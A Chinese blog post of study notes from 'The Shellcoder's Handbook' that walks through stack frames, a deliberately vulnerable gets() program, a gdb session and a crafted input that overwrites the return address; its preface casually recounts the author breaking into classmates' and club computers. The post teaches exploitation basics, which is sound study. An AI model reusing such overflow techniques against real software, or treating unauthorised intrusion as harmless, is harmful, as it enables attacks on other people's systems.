原文http://blog.csdn.net/azloong/article/details/6158401
前言:现在我是嵌入式软件开发者,大学本科读的是电子信息专业,正常的来说不会与入侵、漏洞利用什么的打交道。只是大一时心血来潮用工具进入了另外一台电脑。其实这些也无关重要,重要的是我从那台电脑上down了第一部A片。不出意外的话,那台电脑应该属于女生的,因为那个IP段是女生楼那边的。后来我就可以很笃定的跟别人说:女生也是要看A片的。后来又用工具入侵了更多的局域网电脑,甚至学校一些社团的服务器。再后来,渐感觉没什么意思,而迷上了动漫和War3,随后的几年大学生活都在动画和游戏中挣扎。毕业后的前一两年,工作还不算忙,失去了游戏的激情,老是想找点别的东西消遣时间。于是就写写与工作无关的程序,对shellcode的研究也在这里面。现在是不可能提得起心情去搞入侵了,顶多研究一下底层原理,满足自己的好奇心。这些文章是很早之前写的,觉得有点价值就把它贴上来了。
声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出。
在C、C++语言中,没有考虑检查缓冲区的内在边界,所以使栈溢出成为可能。用户故意提交超出缓冲区范围的数据。这种情形可导致不同的后果,包括程序崩溃或强制令程序执行用户提交的指令。
ESP:栈顶寄存器。注意:POP只改变ESP的值,而不改写或删除栈上的数据,它只是把栈上的数据复制到操作对象里。
EBP:栈底寄存器。通常以它为基址来计算其他的地址。也称为“帧指针”。
EIP:扩展指令指针。EIP中保存着下一条即将执行的机器指令的地址。在控制程序的执行流程中,是否可以访问和改变保存在EIP中的地址将是整个问题的关键。
函数调用与栈
系统首先会执行main里的指令,碰到函数调用时:
1、把调用函数func的参数压入栈;
2、把函数的返回地址(即RET,RET里保存的是调用函数时的指令指针EIP的地址)压入栈;
3、调用函数。
而系统在执行调用函数func指令前首先执行proglog。proglog在栈中存储一些值,使得系统更好地执行函数:
1、为了使函数可以引用栈上的数据,必须改变EBP的值,把当前EBP的值压入栈;函数执行结束后,为了计算main里的地址,我们要用到原先的EBP的值,之前有提及通常以EBP为基址来计算其他的地址;
2、一旦EBP的值被压入栈,proglog就把当前栈指针ESP复制到EBP;
3、接着,proglog计算func的局部变量所需的地址空间和栈上的保留空间,然后从ESP减去变量的大小,为程序保留必要的空间;
4、最后proglog把func的局部变量压入栈。
关于“为了使函数可以引用栈上的数据,必须改变EBP的值”,是不是指以EBP为基址来计算栈上的局部变量所在的地址?当前EBP位于局部变量的地址空间之处。以上所说如图:
- +---------------+ 低内存地址,栈顶
- | |
- +---------------+
- | 局部变量 |
- +---------------+
- | EBP |
- +---------------+
- | RET |
- +---------------+
- | 参数1 |
- +---------------+
- | 参数2 |
- +---------------+
- | |
- +---------------+ 高内存地址,栈底
这里没有实例,不够直观,建议看原书P12反汇编后的代码。值得一提的是:函数调用时,call指令会把RET(EIP)压入栈,之后才把执行控制权交给func函数。
栈上的缓冲区溢出
- //cc -mpreferred-stack-boundary=2 -ggdb overflow.c -o overflow
- #include <stdio.h>
- void func()
- {
- char arr[30];
- gets(arr);
- printf("%S/n", arr);
- }
- int main()
- {
- func();
- return 0;
- }
数组arr的长度为30,当输入的字符串“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDDDDDDDD”时(这里有30个'A'和10个'D'),可引发segment fault。下面显示了在arr被溢出后栈的情形:
- +---------------+ 低内存地址,栈顶
- | |
- +---------------+
- | AAAAA...ADD | 数组(30个字符+2个填充字符)
- +---------------+
- | DDDD | EBP
- +---------------+
- | DDDD | RET
- +---------------+
- | |
- +---------------+ 高内存地址,栈底
控制EIP
这里简单描述一下概念,还得进行一些练习以有个直观印象。
- sep@sep:~/project/shellcode$
- sep@sep:~/project/shellcode$ gdb ./overflow
- GNU gdb 6.4.90-debian
- Copyright (C) 2006 Free Software Foundation, Inc.
- GDB is free software, covered by the GNU General Public License, and you are
- welcome to change it and/or distribute copies of it under certain conditions.
- Type "show copying" to see the conditions.
- There is absolutely no warranty for GDB. Type "show warranty" for details.
- This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
- (gdb) disas main ;反汇编main
- Dump of assembler code for function main:
- 0x080483a2 <main+0>: push %ebp
- 0x080483a3 <main+1>: mov %esp,%ebp
- 0x080483a5 <main+3>: call 0x8048384 <func> ;找到call <func>的指令地址
- 0x080483aa <main+8>: mov $0x0,%eax ;记住这个地址,将保存到func栈上的RET
- 0x080483af <main+13>: pop %ebp
- 0x080483b0 <main+14>: ret
- End of assembler dump.
- (gdb) disas func ;反汇编func
- Dump of assembler code for function func:
- 0x08048384 <func+0>: push %ebp
- 0x08048385 <func+1>: mov %esp,%ebp
- 0x08048387 <func+3>: sub $0x24,%esp
- 0x0804838a <func+6>: lea 0xffffffe2(%ebp),%eax
- 0x0804838d <func+9>: mov %eax,(%esp)
- 0x08048390 <func+12>: call 0x80482a0 <gets@plt> ;找到call <gets>指令地址
- 0x08048395 <func+17>: lea 0xffffffe2(%ebp),%eax
- 0x08048398 <func+20>: mov %eax,(%esp)
- 0x0804839b <func+23>: call 0x80482b0 <puts@plt> ;找到call <printf>指令地址
- 0x080483a0 <func+28>: leave
- 0x080483a1 <func+29>: ret
- End of assembler dump.
- (gdb) break *0x08048390 ;设置断点-gets
- Breakpoint 1 at 0x8048390: file overflow.c, line 7.
- (gdb) break *0x0804839b ;设置断点-printf
- Breakpoint 2 at 0x804839b: file overflow.c, line 8.
- (gdb) run
- Starting program: /home/sep/project/shellcode/overflow
- Failed to read a valid object file image from memory.
- Breakpoint 1, 0x08048390 in func () at overflow.c:7
- 7 gets(arr);
- (gdb) x/20x $esp ;打印未输入字符串时的栈上的内容,此时留意0x080483aa为RET,即func返回后下一条执行指令的地址,我们要修改的就是这个东东。
- 0xbfe7109c: 0xbfe710a2 0x00000001 0xbfe71144 0xbfe710c8
- 0xbfe710ac: 0x08048429 0xb7e46c8c 0xb7f68ff4 0x00000000
- 0xbfe710bc: 0xb7f68ff4 0xbfe710c8 0x080483aa 0xbfe71118
- 0xbfe710cc: 0xb7e50ea8 0x00000001 0xbfe71144 0xbfe7114c
- 0xbfe710dc: 0x00000000 0xb7f68ff4 0x00000000 0xb7f8ecc0
- (gdb) c
- Continuing.
- ;输入字符串。这里共30个字符,用意看栈上内容变化。
- AAAABBBBCCCCDDDDEEEEFFFFGGGGHH
- Breakpoint 2, 0x0804839b in func () at overflow.c:8
- 8 printf("%s/n", arr);
- (gdb) x/20x $esp ;输入字符串后,观看栈上内容。
- 0xbfe7109c: 0xbfe710a2 0x41410001 0x42424141 0x43434242
- 0xbfe710ac: 0x44444343 0x45454444 0x46464545 0x47474646
- 0xbfe710bc: 0x48484747 0xbfe71000 0x080483aa 0xbfe71118
- 0xbfe710cc: 0xb7e50ea8 0x00000001 0xbfe71144 0xbfe7114c
- 0xbfe710dc: 0x00000000 0xb7f68ff4 0x00000000 0xb7f8ecc0
- (gdb) c
- Continuing.
- AAAABBBBCCCCDDDDEEEEFFFFGGGGHH
- Program exited normally.
- (gdb) q
- ;好了,我们已经知道栈上数据的存放位置,如何改写栈上的RET令程序打印两次呢?
- ;首先call <func>的地址是0x080483a5,RET的原值为0x080483aa;
- ;我们输入精心选择的字符串,使得栈上的缓冲区溢出,从而改写RET的值,令其变为call <func>的地址;
- ;参考GDB观看得出的栈上数据结构,可用如下命令实现:
- sep@sep:~/project/shellcode$ printf "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD/xa5/x83/x04/x08" | ./overflow
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD獌
- sep@sep:~/project/shellcode$